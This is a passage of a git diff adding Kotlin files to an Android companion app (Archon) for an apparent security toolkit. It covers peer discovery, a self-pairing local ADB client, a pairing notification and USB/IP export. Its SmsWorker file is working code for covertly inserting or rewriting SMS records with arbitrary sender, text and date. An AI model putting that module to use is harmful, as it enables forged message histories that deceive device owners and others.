+ if (device.deviceName.contains(WIFIDIRECT_TARGET_NAME, ignoreCase = true)) { + Log.i(TAG, "Wi-Fi Direct: found AUTARCH peer: ${device.deviceName} (${device.deviceAddress})") + // Found an AUTARCH device — connect to get IP + connectWifiDirect(device) + } + } + } + + private fun connectWifiDirect(device: WifiP2pDevice) { + val config = WifiP2pConfig().apply { + deviceAddress = device.deviceAddress + } + wifiP2pManager?.connect(wifiP2pChannel, config, object : WifiP2pManager.ActionListener { + override fun onSuccess() { + Log.d(TAG, "Wi-Fi Direct: connecting to ${device.deviceName}") + } + + override fun onFailure(reason: Int) { + Log.w(TAG, "Wi-Fi Direct: connect failed ($reason)") + } + }) + } + + private fun handleWifiDirectConnection(info: WifiP2pInfo) { + if (info.groupFormed) { + val ownerAddress = info.groupOwnerAddress?.hostAddress ?: return + // The group owner is the AUTARCH server + val server = DiscoveredServer( + ip = ownerAddress, + port = 8181, // Default — will be refined via mDNS or API call + hostname = "AUTARCH (Wi-Fi Direct)", + method = ConnectionMethod.WIFI_DIRECT + ) + discoveredServers.add(server) + handler.post { listener?.onServerFound(server) } + Log.i(TAG, "Wi-Fi Direct: AUTARCH at $ownerAddress") + } + } + + private fun stopWifiDirectDiscovery() { + if (!wifiDirectRunning) return + try { + wifiP2pManager?.stopPeerDiscovery(wifiP2pChannel, null) + context.unregisterReceiver(wifiP2pReceiver) + } catch (e: Exception) { + Log.w(TAG, "Wi-Fi Direct stop error: ${e.message}") + } + wifiDirectRunning = false + } + + // ── Bluetooth ─────────────────────────────────────────────────── + + private val btReceiver = object : BroadcastReceiver() { + override fun onReceive(ctx: Context, intent: Intent) { + when (intent.action) { + BluetoothDevice.ACTION_FOUND -> { + val device = intent.getParcelableExtra( + BluetoothDevice.EXTRA_DEVICE + ) ?: return + + val name = try { device.name } catch (e: SecurityException) { null } + if (name != null && name.contains(BT_TARGET_NAME, ignoreCase = true)) { + Log.i(TAG, "Bluetooth: found AUTARCH device: $name (${device.address})") + + val server = DiscoveredServer( + ip = "", // BT doesn't give IP directly — use for pairing flow + port = 0, + hostname = name, + method = ConnectionMethod.BLUETOOTH, + extras = mapOf( + "bt_address" to device.address, + "bt_name" to name + ) + ) + discoveredServers.add(server) + handler.post { listener?.onServerFound(server) } + } + } + BluetoothAdapter.ACTION_DISCOVERY_FINISHED -> { + bluetoothRunning = false + handler.post { listener?.onDiscoveryStopped(ConnectionMethod.BLUETOOTH) } + } + } + } + } + + private fun startBluetoothDiscovery() { + if (bluetoothRunning) return + + try { + val btManager = context.getSystemService(Context.BLUETOOTH_SERVICE) as? BluetoothManager + bluetoothAdapter = btManager?.adapter + + if (bluetoothAdapter == null || bluetoothAdapter?.isEnabled != true) { + notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth not available or disabled") + return + } + + val intentFilter = IntentFilter().apply { + addAction(BluetoothDevice.ACTION_FOUND) + addAction(BluetoothAdapter.ACTION_DISCOVERY_FINISHED) + } + context.registerReceiver(btReceiver, intentFilter) + + val started = try { + bluetoothAdapter?.startDiscovery() == true + } catch (e: SecurityException) { + notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth permission denied") + return + } + + if (started) { + bluetoothRunning = true + handler.post { listener?.onDiscoveryStarted(ConnectionMethod.BLUETOOTH) } + Log.d(TAG, "Bluetooth discovery started") + } else { + notifyError(ConnectionMethod.BLUETOOTH, "Failed to start BT discovery") + } + + } catch (e: Exception) { + notifyError(ConnectionMethod.BLUETOOTH, e.message ?: "Unknown error") + } + } + + private fun stopBluetoothDiscovery() { + if (!bluetoothRunning) return + try { + bluetoothAdapter?.cancelDiscovery() + context.unregisterReceiver(btReceiver) + } catch (e: Exception) { + Log.w(TAG, "Bluetooth stop error: ${e.message}") + } + bluetoothRunning = false + } + + // ── Helpers ───────────────────────────────────────────────────── + + private fun notifyError(method: ConnectionMethod, error: String) { + Log.e(TAG, "${method.name}: $error") + handler.post { listener?.onDiscoveryError(method, error) } + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/LocalAdbClient.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/LocalAdbClient.kt new file mode 100644 index 0000000..2f7627b --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/LocalAdbClient.kt @@ -0,0 +1,391 @@ +package com.darkhal.archon.service + +import android.content.Context +import android.util.Base64 +import android.util.Log +import com.darkhal.archon.util.ShellResult +import io.github.muntashirakon.adb.AbsAdbConnectionManager +import io.github.muntashirakon.adb.android.AdbMdns +import org.conscrypt.Conscrypt +import java.io.ByteArrayInputStream +import java.io.ByteArrayOutputStream +import java.math.BigInteger +import java.security.KeyFactory +import java.security.KeyPairGenerator +import java.security.PrivateKey +import java.security.SecureRandom +import java.security.Security +import java.security.Signature +import java.security.cert.Certificate +import java.security.cert.CertificateFactory +import java.security.spec.PKCS8EncodedKeySpec +import java.util.Calendar +import java.util.TimeZone +import java.util.concurrent.CountDownLatch +import java.util.concurrent.TimeUnit +import java.util.concurrent.atomic.AtomicBoolean +import java.util.concurrent.atomic.AtomicInteger +import android.os.Build + +/** + * Self-contained local ADB client using libadb-android. + * Handles wireless debugging pairing, mDNS discovery, and shell command execution. + * No external ADB binary needed — pure Java/TLS implementation. + */ +object LocalAdbClient { + + private const val TAG = "LocalAdbClient" + private const val PREFS_NAME = "archon_adb_keys" + private const val KEY_PRIVATE = "adb_private_key" + private const val KEY_CERTIFICATE = "adb_certificate" + private const val LOCALHOST = "127.0.0.1" + + private var connectionManager: AbsAdbConnectionManager? = null + private var connected = AtomicBoolean(false) + private var connectedPort = AtomicInteger(0) + + init { + // Install Conscrypt as the default TLS provider for TLSv1.3 support + Security.insertProviderAt(Conscrypt.newProvider(), 1) + } + + /** + * Check if we have a stored ADB key pair (device has been paired before). + */ + fun hasKeyPair(context: Context): Boolean { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.contains(KEY_PRIVATE) && prefs.contains(KEY_CERTIFICATE) + } + + /** + * Generate a new RSA-2048 key pair for ADB authentication. + * Stored in SharedPreferences. + */ + fun generateKeyPair(context: Context) { + val kpg = KeyPairGenerator.getInstance("RSA") + kpg.initialize(2048) + val keyPair = kpg.generateKeyPair() + + // Generate self-signed certificate using Android's built-in X509 support + val certificate = generateSelfSignedCert(keyPair) + + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.edit() + .putString(KEY_PRIVATE, Base64.encodeToString(keyPair.private.encoded, Base64.NO_WRAP)) + .putString(KEY_CERTIFICATE, Base64.encodeToString(certificate.encoded, Base64.NO_WRAP)) + .apply() + + Log.i(TAG, "Generated new ADB key pair") + } + + /** + * Generate a self-signed X.509 v3 certificate for ADB authentication. + * Built from raw DER/ASN.1 encoding — no sun.security or BouncyCastle needed. + */ + private fun generateSelfSignedCert(keyPair: java.security.KeyPair): Certificate { + val serial = BigInteger(64, SecureRandom()) + + val notBefore = Calendar.getInstance(TimeZone.getTimeZone("UTC")) + val notAfter = Calendar.getInstance(TimeZone.getTimeZone("UTC")) + notAfter.add(Calendar.YEAR, 25) + + // DN: CN=adb_archon + val dn = derSequence(derSet(derSequence( + derOid(byteArrayOf(0x55, 0x04, 0x03)), // OID 2.5.4.3 = CN + derUtf8String("adb_archon") + ))) + + // SHA256withRSA algorithm identifier + // OID 1.2.840.113549.1.1.11 + val sha256WithRsa = byteArrayOf( + 0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xCE.toByte(), + 0x3D, 0x04, 0x03, 0x02 // placeholder, replaced below + ) + // Correct OID bytes for 1.2.840.113549.1.1.11 + val sha256RsaOid = byteArrayOf( + 0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xF7.toByte(), + 0x0D, 0x01, 0x01, 0x0B + ) + val algId = derSequence(derOid(sha256RsaOid), derNull()) + + // SubjectPublicKeyInfo — re-use the encoded form from the key + val spki = keyPair.public.encoded // Already DER-encoded SubjectPublicKeyInfo + + // TBSCertificate + val tbs = derSequence( + derExplicit(0, derInteger(BigInteger.valueOf(2))), // v3 + derInteger(serial), + algId, + dn, // issuer + derSequence(derUtcTime(notBefore), derUtcTime(notAfter)), // validity + dn, // subject = issuer (self-signed) + spki // subjectPublicKeyInfo + ) + + // Sign the TBS + val sig = Signature.getInstance("SHA256withRSA") + sig.initSign(keyPair.private) + sig.update(tbs) + val signature = sig.sign() + + // Full certificate: SEQUENCE { tbs, algId, BIT STRING(signature) } + val certDer = derSequence(tbs, algId, derBitString(signature)) + + val cf = CertificateFactory.getInstance("X.509") + return cf.generateCertificate(ByteArrayInputStream(certDer)) + } + + // ── ASN.1 / DER helpers ────────────────────────────────────── + + private fun derTag(tag: Int, content: ByteArray): ByteArray { + val out = ByteArrayOutputStream() + out.write(tag) + derWriteLength(out, content.size) + out.write(content) + return out.toByteArray() + } + + private fun derWriteLength(out: ByteArrayOutputStream, length: Int) { + if (length < 0x80) { + out.write(length) + } else if (length < 0x100) { + out.write(0x81) + out.write(length) + } else if (length < 0x10000) { + out.write(0x82) + out.write(length shr 8) + out.write(length and 0xFF) + } else { + out.write(0x83) + out.write(length shr 16) + out.write((length shr 8) and 0xFF) + out.write(length and 0xFF) + } + } + + private fun derSequence(vararg items: ByteArray): ByteArray { + val content = ByteArrayOutputStream() + for (item in items) content.write(item) + return derTag(0x30, content.toByteArray()) + } + + private fun derSet(vararg items: ByteArray): ByteArray { + val content = ByteArrayOutputStream() + for (item in items) content.write(item) + return derTag(0x31, content.toByteArray()) + } + + private fun derInteger(value: BigInteger): ByteArray { + val bytes = value.toByteArray() + return derTag(0x02, bytes) + } + + private fun derOid(oidBytes: ByteArray): ByteArray { + return derTag(0x06, oidBytes) + } + + private fun derNull(): ByteArray = byteArrayOf(0x05, 0x00) + + private fun derUtf8String(s: String): ByteArray { + return derTag(0x0C, s.toByteArray(Charsets.UTF_8)) + } + + private fun derBitString(data: ByteArray): ByteArray { + val content = ByteArray(data.size + 1) + content[0] = 0 // no unused bits + System.arraycopy(data, 0, content, 1, data.size) + return derTag(0x03, content) + } + + private fun derUtcTime(cal: Calendar): ByteArray { + val s = String.format( + "%02d%02d%02d%02d%02d%02dZ", + cal.get(Calendar.YEAR) % 100, + cal.get(Calendar.MONTH) + 1, + cal.get(Calendar.DAY_OF_MONTH), + cal.get(Calendar.HOUR_OF_DAY), + cal.get(Calendar.MINUTE), + cal.get(Calendar.SECOND) + ) + return derTag(0x17, s.toByteArray(Charsets.US_ASCII)) + } + + private fun derExplicit(tag: Int, content: ByteArray): ByteArray { + return derTag(0xA0 or tag, content) + } + + /** + * Discover the wireless debugging pairing port via mDNS. + */ + fun discoverPairingPort(context: Context, timeoutSec: Long = 15): Int? { + val foundPort = AtomicInteger(-1) + val latch = CountDownLatch(1) + + val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_PAIRING) { hostAddress, port -> + Log.i(TAG, "Found pairing service at $hostAddress:$port") + foundPort.set(port) + latch.countDown() + } + mdns.start() + + latch.await(timeoutSec, TimeUnit.SECONDS) + mdns.stop() + + val port = foundPort.get() + return if (port > 0) port else null + } + + /** + * Pair with the device's wireless debugging service. + */ + fun pair(context: Context, host: String = LOCALHOST, port: Int, code: String): Boolean { + return try { + ensureKeyPair(context) + val manager = getOrCreateManager(context) + val success = manager.pair(host, port, code) + Log.i(TAG, "Pairing result: $success") + success + } catch (e: Exception) { + Log.e(TAG, "Pairing failed", e) + false + } + } + + /** + * Discover the wireless debugging connect port via mDNS. + */ + fun discoverConnectPort(context: Context, timeoutSec: Long = 10): Int? { + val foundPort = AtomicInteger(-1) + val latch = CountDownLatch(1) + + val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_CONNECT) { hostAddress, port -> + Log.i(TAG, "Found connect service at $hostAddress:$port") + foundPort.set(port) + latch.countDown() + } + mdns.start() + + latch.await(timeoutSec, TimeUnit.SECONDS) + mdns.stop() + + val port = foundPort.get() + return if (port > 0) port else null + } + + /** + * Connect to the device's wireless debugging ADB service. + */ + fun connect(context: Context, host: String = LOCALHOST, port: Int): Boolean { + return try { + val manager = getOrCreateManager(context) + val success = manager.connect(host, port) + connected.set(success) + if (success) connectedPort.set(port) + Log.i(TAG, "Connect result: $success (port=$port)") + success + } catch (e: Exception) { + Log.e(TAG, "Connect failed", e) + connected.set(false) + false + } + } + + /** + * Auto-connect: discover port via mDNS and connect. + */ + fun autoConnect(context: Context): Boolean { + val port = discoverConnectPort(context) ?: return false + return connect(context, LOCALHOST, port) + } + + /** + * Disconnect the current ADB session. + */ + fun disconnect() { + try { + connectionManager?.disconnect() + } catch (e: Exception) { + Log.w(TAG, "Disconnect error", e) + } + connected.set(false) + connectedPort.set(0) + } + + /** + * Check if currently connected to an ADB session. + */ + fun isConnected(): Boolean = connected.get() + + /** + * Execute a shell command via the local ADB connection. + */ + fun execute(command: String): ShellResult { + if (!connected.get()) { + return ShellResult("", "Not connected to local ADB", -1) + } + + return try { + val manager = connectionManager ?: return ShellResult("", "No connection manager", -1) + val stream = manager.openStream("shell:$command") + val inputStream = stream.openInputStream() + val stdout = inputStream.bufferedReader().readText().trim() + stream.close() + ShellResult(stdout, "", 0) + } catch (e: Exception) { + Log.e(TAG, "Shell execute failed", e) + connected.set(false) + ShellResult("", "ADB shell error: ${e.message}", -1) + } + } + + /** + * Check if we were previously paired (have keys stored). + */ + fun isPaired(context: Context): Boolean = hasKeyPair(context) + + /** + * Get a human-readable status string. + */ + fun getStatusString(context: Context): String { + return when { + connected.get() -> "Connected (port ${connectedPort.get()})" + hasKeyPair(context) -> "Paired, not connected" + else -> "Not paired" + } + } + + // ── Internal ────────────────────────────────────────────────── + + private fun ensureKeyPair(context: Context) { + if (!hasKeyPair(context)) { + generateKeyPair(context) + } + } + + private fun getOrCreateManager(context: Context): AbsAdbConnectionManager { + connectionManager?.let { return it } + + ensureKeyPair(context) + + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + val privateKeyBytes = Base64.decode(prefs.getString(KEY_PRIVATE, ""), Base64.NO_WRAP) + val certBytes = Base64.decode(prefs.getString(KEY_CERTIFICATE, ""), Base64.NO_WRAP) + + val keySpec = PKCS8EncodedKeySpec(privateKeyBytes) + val privateKey = KeyFactory.getInstance("RSA").generatePrivate(keySpec) + + val certFactory = CertificateFactory.getInstance("X.509") + val certificate = certFactory.generateCertificate(ByteArrayInputStream(certBytes)) + + val manager = object : AbsAdbConnectionManager() { + override fun getPrivateKey(): PrivateKey = privateKey + override fun getCertificate(): Certificate = certificate + override fun getDeviceName(): String = "archon_${Build.MODEL}" + } + manager.setApi(Build.VERSION.SDK_INT) + manager.setHostAddress(LOCALHOST) + + connectionManager = manager + return manager + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/PairingReceiver.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/PairingReceiver.kt new file mode 100644 index 0000000..36b7d53 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/PairingReceiver.kt @@ -0,0 +1,216 @@ +package com.darkhal.archon.service + +import android.app.NotificationChannel +import android.app.NotificationManager +import android.app.PendingIntent +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import android.os.Build +import android.util.Log +import androidx.core.app.NotificationCompat +import androidx.core.app.RemoteInput +import com.darkhal.archon.R +import com.darkhal.archon.server.ArchonClient + +/** + * Handles the pairing code entered via notification inline reply. + * + * Flow (like Shizuku): + * 1. User taps "START PAIRING" in Setup + * 2. App shows notification with text input for pairing code + * 3. User opens Developer Options > Wireless Debugging > Pair with code + * 4. User pulls down notification shade and enters the 6-digit code + * 5. This receiver auto-detects port, pairs, connects, starts ArchonServer + */ +class PairingReceiver : BroadcastReceiver() { + + companion object { + private const val TAG = "PairingReceiver" + const val ACTION_PAIR = "com.darkhal.archon.ACTION_PAIR" + const val KEY_PAIRING_CODE = "pairing_code" + const val NOTIFICATION_ID = 42 + const val CHANNEL_ID = "archon_pairing" + + /** + * Show the pairing notification with inline text input. + */ + fun showPairingNotification(context: Context) { + createChannel(context) + + val replyIntent = Intent(ACTION_PAIR).apply { + setPackage(context.packageName) + } + val replyPending = PendingIntent.getBroadcast( + context, 0, replyIntent, + PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE + ) + + val remoteInput = RemoteInput.Builder(KEY_PAIRING_CODE) + .setLabel("6-digit pairing code") + .build() + + val action = NotificationCompat.Action.Builder( + R.drawable.ic_archon, + "Enter pairing code", + replyPending + ) + .addRemoteInput(remoteInput) + .build() + + val notification = NotificationCompat.Builder(context, CHANNEL_ID) + .setSmallIcon(R.drawable.ic_archon) + .setContentTitle("Archon — Wireless Debugging Pairing") + .setContentText("Open Settings > Developer Options > Wireless Debugging > Pair with code") + .setStyle(NotificationCompat.BigTextStyle() + .bigText("1. Open Settings > Developer Options\n" + + "2. Enable Wireless Debugging\n" + + "3. Tap 'Pair with pairing code'\n" + + "4. Enter the 6-digit code below")) + .addAction(action) + .setOngoing(true) + .setPriority(NotificationCompat.PRIORITY_HIGH) + .setAutoCancel(false) + .build() + + val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager + nm.notify(NOTIFICATION_ID, notification) + } + + /** + * Update the notification with a status message (no input). + */ + fun updateNotification(context: Context, message: String, ongoing: Boolean = false) { + createChannel(context) + + val notification = NotificationCompat.Builder(context, CHANNEL_ID) + .setSmallIcon(R.drawable.ic_archon) + .setContentTitle("Archon Pairing") + .setContentText(message) + .setOngoing(ongoing) + .setPriority(NotificationCompat.PRIORITY_HIGH) + .setAutoCancel(!ongoing) + .build() + + val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager + nm.notify(NOTIFICATION_ID, notification) + } + + /** + * Dismiss the pairing notification. + */ + fun dismissNotification(context: Context) { + val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager + nm.cancel(NOTIFICATION_ID) + } + + private fun createChannel(context: Context) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + val channel = NotificationChannel( + CHANNEL_ID, + "Wireless Debugging Pairing", + NotificationManager.IMPORTANCE_HIGH + ).apply { + description = "Used for entering the wireless debugging pairing code" + } + val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager + nm.createNotificationChannel(channel) + } + } + } + + override fun onReceive(context: Context, intent: Intent) { + if (intent.action != ACTION_PAIR) return + + val remoteInput = RemoteInput.getResultsFromIntent(intent) + val code = remoteInput?.getCharSequence(KEY_PAIRING_CODE)?.toString()?.trim() + + if (code.isNullOrEmpty()) { + updateNotification(context, "No code entered — try again") + showPairingNotification(context) + return + } + + Log.i(TAG, "Received pairing code: $code") + updateNotification(context, "Pairing with code $code...", ongoing = true) + + // Run pairing in background thread + Thread { + try { + // Auto-detect pairing port + Log.i(TAG, "Discovering pairing port...") + val port = LocalAdbClient.discoverPairingPort(context) + if (port == null) { + Log.w(TAG, "Could not find pairing port") + updateNotification(context, "Failed: no pairing port found. Is the Pair dialog still open?") + Thread.sleep(3000) + showPairingNotification(context) + return@Thread + } + + Log.i(TAG, "Found pairing port: $port, pairing...") + updateNotification(context, "Found port $port, pairing...", ongoing = true) + + val success = LocalAdbClient.pair(context, "127.0.0.1", port, code) + if (!success) { + Log.w(TAG, "Pairing failed") + updateNotification(context, "Pairing failed — wrong code or port changed. Try again.") + Thread.sleep(3000) + showPairingNotification(context) + return@Thread + } + + Log.i(TAG, "Paired! Waiting for connect service...") + updateNotification(context, "Paired! Waiting for ADB connect service...", ongoing = true) + + // Wait for wireless debugging to register the connect service after pairing + Thread.sleep(2000) + + // Try to discover and connect with retries + var connectSuccess = false + for (attempt in 1..3) { + Log.i(TAG, "Connect attempt $attempt/3...") + updateNotification(context, "Connecting (attempt $attempt/3)...", ongoing = true) + + val connectPort = LocalAdbClient.discoverConnectPort(context, timeoutSec = 8) + if (connectPort != null) { + Log.i(TAG, "Found connect port: $connectPort") + connectSuccess = LocalAdbClient.connect(context, "127.0.0.1", connectPort) + if (connectSuccess) { + Log.i(TAG, "Connected on port $connectPort") + break + } + Log.w(TAG, "Connect failed on port $connectPort") + } else { + Log.w(TAG, "mDNS connect discovery failed (attempt $attempt)") + } + + if (attempt < 3) Thread.sleep(2000) + } + + if (!connectSuccess) { + Log.w(TAG, "All connect attempts failed") + updateNotification(context, "Paired but connect failed. Open Setup tab and tap START SERVER.", ongoing = false) + return@Thread + } + + // Try to start ArchonServer + updateNotification(context, "Connected! Starting Archon Server...", ongoing = true) + val result = ArchonClient.startServer(context) + + val msg = if (result.success) { + "Paired + connected + Archon Server running!" + } else { + "Paired + connected! Server: ${result.message}" + } + + Log.i(TAG, msg) + updateNotification(context, msg, ongoing = false) + + } catch (e: Exception) { + Log.e(TAG, "Pairing error", e) + updateNotification(context, "Error: ${e.message}") + } + }.start() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/SmsWorker.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/SmsWorker.kt new file mode 100644 index 0000000..dfd93bd --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/SmsWorker.kt @@ -0,0 +1,130 @@ +package com.darkhal.archon.service + +import android.content.BroadcastReceiver +import android.content.ContentValues +import android.content.Context +import android.content.Intent +import android.net.Uri +import android.util.Log +import java.io.File + +/** + * Handles covert SMS insert/update from ADB shell broadcasts. + * + * Flow: + * 1. Python backend sets Archon as default SMS app via `cmd role` + * 2. Sends: am broadcast -a com.darkhal.archon.SMS_INSERT -n .../.service.SmsWorker --es address ... --es body ... + * 3. This receiver does ContentResolver.insert() at Archon's UID (which is now the default SMS app) + * 4. Writes result to files/sms_result.txt + * 5. Python reads result via `run-as com.darkhal.archon cat files/sms_result.txt` + * 6. Python restores original default SMS app + */ +class SmsWorker : BroadcastReceiver() { + + companion object { + private const val TAG = "SmsWorker" + const val ACTION_INSERT = "com.darkhal.archon.SMS_INSERT" + const val ACTION_UPDATE = "com.darkhal.archon.SMS_UPDATE" + const val RESULT_FILE = "sms_result.txt" + } + + override fun onReceive(context: Context, intent: Intent) { + val action = intent.action ?: return + val resultFile = File(context.filesDir, RESULT_FILE) + + try { + when (action) { + ACTION_INSERT -> handleInsert(context, intent, resultFile) + ACTION_UPDATE -> handleUpdate(context, intent, resultFile) + else -> resultFile.writeText("ERROR:Unknown action $action") + } + } catch (e: Exception) { + Log.e(TAG, "SMS operation failed", e) + resultFile.writeText("ERROR:${e.message}") + } + } + + private fun handleInsert(context: Context, intent: Intent, resultFile: File) { + val address = intent.getStringExtra("address") ?: run { + resultFile.writeText("ERROR:No address"); return + } + val body = intent.getStringExtra("body") ?: run { + resultFile.writeText("ERROR:No body"); return + } + + val values = ContentValues().apply { + put("address", address) + put("body", body) + put("date", intent.getLongExtra("date", System.currentTimeMillis())) + put("type", intent.getIntExtra("type", 1)) + put("read", intent.getIntExtra("read", 1)) + put("seen", 1) + } + + val uri = context.contentResolver.insert(Uri.parse("content://sms/"), values) + + if (uri != null) { + Log.i(TAG, "SMS inserted: $uri") + resultFile.writeText("SUCCESS:$uri") + } else { + Log.w(TAG, "SMS insert returned null") + resultFile.writeText("FAIL:provider returned null") + } + } + + private fun handleUpdate(context: Context, intent: Intent, resultFile: File) { + val smsId = intent.getStringExtra("id") ?: run { + resultFile.writeText("ERROR:No SMS id"); return + } + + val values = ContentValues() + intent.getStringExtra("body")?.let { values.put("body", it) } + intent.getStringExtra("address")?.let { values.put("address", it) } + if (intent.hasExtra("type")) values.put("type", intent.getIntExtra("type", 1)) + if (intent.hasExtra("read")) values.put("read", intent.getIntExtra("read", 1)) + if (intent.hasExtra("date")) values.put("date", intent.getLongExtra("date", 0)) + + if (values.size() == 0) { + resultFile.writeText("ERROR:Nothing to update"); return + } + + val count = context.contentResolver.update( + Uri.parse("content://sms/$smsId"), values, null, null + ) + + Log.i(TAG, "SMS update: $count rows affected for id=$smsId") + resultFile.writeText("SUCCESS:updated=$count") + } +} + +// ── SMS Role stubs ────────────────────────────────────────────── +// These are required for Android to accept Archon as a valid SMS role holder. +// They don't need to do anything — they just need to exist and be declared +// in the manifest with the correct intent filters and permissions. + +/** Stub: receives incoming SMS when we're temporarily the default SMS app. */ +class SmsDeliverReceiver : BroadcastReceiver() { + override fun onReceive(context: Context, intent: Intent) { + // Intentionally empty — we only hold the SMS role briefly for inserts + } +} + +/** Stub: receives incoming MMS when we're temporarily the default SMS app. */ +class MmsDeliverReceiver : BroadcastReceiver() { + override fun onReceive(context: Context, intent: Intent) { + // Intentionally empty + } +} + +/** Stub: "respond via message" service required for SMS role. */ +class RespondViaMessageService : android.app.Service() { + override fun onBind(intent: Intent?): android.os.IBinder? = null +} + +/** Stub: SMS compose activity required for SMS role. Immediately finishes. */ +class SmsComposeActivity : android.app.Activity() { + override fun onCreate(savedInstanceState: android.os.Bundle?) { + super.onCreate(savedInstanceState) + finish() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/UsbIpManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/UsbIpManager.kt new file mode 100644 index 0000000..33c84cf --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/UsbIpManager.kt @@ -0,0 +1,97 @@ +package com.darkhal.archon.service + +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellExecutor +import com.darkhal.archon.util.ShellResult + +data class UsbDevice( + val busId: String, + val description: String +) + +object UsbIpManager { + + private const val USBIPD_PROCESS = "usbipd" + + /** + * Start USB/IP daemon to export this device's USB gadget over the network. + */ + fun startExport(): ShellResult { + return PrivilegeManager.execute("usbipd -D") + } + + /** + * Stop the USB/IP daemon. + */ + fun stopExport(): ShellResult { + return PrivilegeManager.execute("killall $USBIPD_PROCESS") + } + + /** + * Check if usbipd is currently running. + */ + fun isExporting(): Boolean { + val result = ShellExecutor.execute("pidof $USBIPD_PROCESS") + return result.exitCode == 0 && result.stdout.isNotEmpty() + } + + /** + * Check if the usbip binary is available on this device. + */ + fun isAvailable(): Boolean { + val result = ShellExecutor.execute("which usbip || which usbipd") + return result.exitCode == 0 && result.stdout.isNotEmpty() + } + + /** + * List local USB devices that can be exported. + */ + fun listLocalDevices(): List { + val result = PrivilegeManager.execute("usbip list -l") + if (result.exitCode != 0) return emptyList() + + val devices = mutableListOf() + val lines = result.stdout.lines() + + for (line in lines) { + val match = Regex("""busid\s+(\S+)\s+\(([^)]+)\)""").find(line) + if (match != null) { + val busId = match.groupValues[1] + val desc = match.groupValues[2] + devices.add(UsbDevice(busId, desc)) + } + } + + return devices + } + + /** + * Bind a local USB device for export. + */ + fun bindDevice(busId: String): ShellResult { + return PrivilegeManager.execute("usbip bind -b $busId") + } + + /** + * Unbind a local USB device from export. + */ + fun unbindDevice(busId: String): ShellResult { + return PrivilegeManager.execute("usbip unbind -b $busId") + } + + /** + * Get combined USB/IP status. + */ + fun getStatus(): Map { + val available = isAvailable() + val exporting = if (available) isExporting() else false + val devices = if (available) listLocalDevices() else emptyList() + + return mapOf( + "available" to available, + "exporting" to exporting, + "device_count" to devices.size, + "devices" to devices.map { mapOf("bus_id" to it.busId, "description" to it.description) } + ) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/DashboardFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/DashboardFragment.kt new file mode 100644 index 0000000..b2f51b4 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/DashboardFragment.kt @@ -0,0 +1,278 @@ +package com.darkhal.archon.ui + +import android.graphics.Color +import android.graphics.drawable.GradientDrawable +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.service.DiscoveryManager +import com.darkhal.archon.util.PrefsManager +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellExecutor +import com.darkhal.archon.util.SslHelper +import com.google.android.material.button.MaterialButton +import java.net.HttpURLConnection +import java.net.URL + +class DashboardFragment : Fragment() { + + private lateinit var privilegeStatusDot: View + private lateinit var privilegeStatusText: TextView + private lateinit var serverStatusDot: View + private lateinit var serverStatusText: TextView + private lateinit var wgStatusDot: View + private lateinit var wgStatusText: TextView + private lateinit var outputLog: TextView + + // Discovery + private lateinit var discoveryStatusDot: View + private lateinit var discoveryStatusText: TextView + private lateinit var discoveryMethodText: TextView + private lateinit var btnDiscover: MaterialButton + private var discoveryManager: DiscoveryManager? = null + + private val handler = Handler(Looper.getMainLooper()) + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle? + ): View { + return inflater.inflate(R.layout.fragment_dashboard, container, false) + } + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + // Bind views + privilegeStatusDot = view.findViewById(R.id.privilege_status_dot) + privilegeStatusText = view.findViewById(R.id.privilege_status_text) + serverStatusDot = view.findViewById(R.id.server_status_dot) + serverStatusText = view.findViewById(R.id.server_status_text) + wgStatusDot = view.findViewById(R.id.wg_status_dot) + wgStatusText = view.findViewById(R.id.wg_status_text) + outputLog = view.findViewById(R.id.output_log) + + // Discovery views + discoveryStatusDot = view.findViewById(R.id.discovery_status_dot) + discoveryStatusText = view.findViewById(R.id.discovery_status_text) + discoveryMethodText = view.findViewById(R.id.discovery_method_text) + btnDiscover = view.findViewById(R.id.btn_discover) + + setupDiscovery() + + // Initialize PrivilegeManager and check available methods + val ctx = requireContext() + 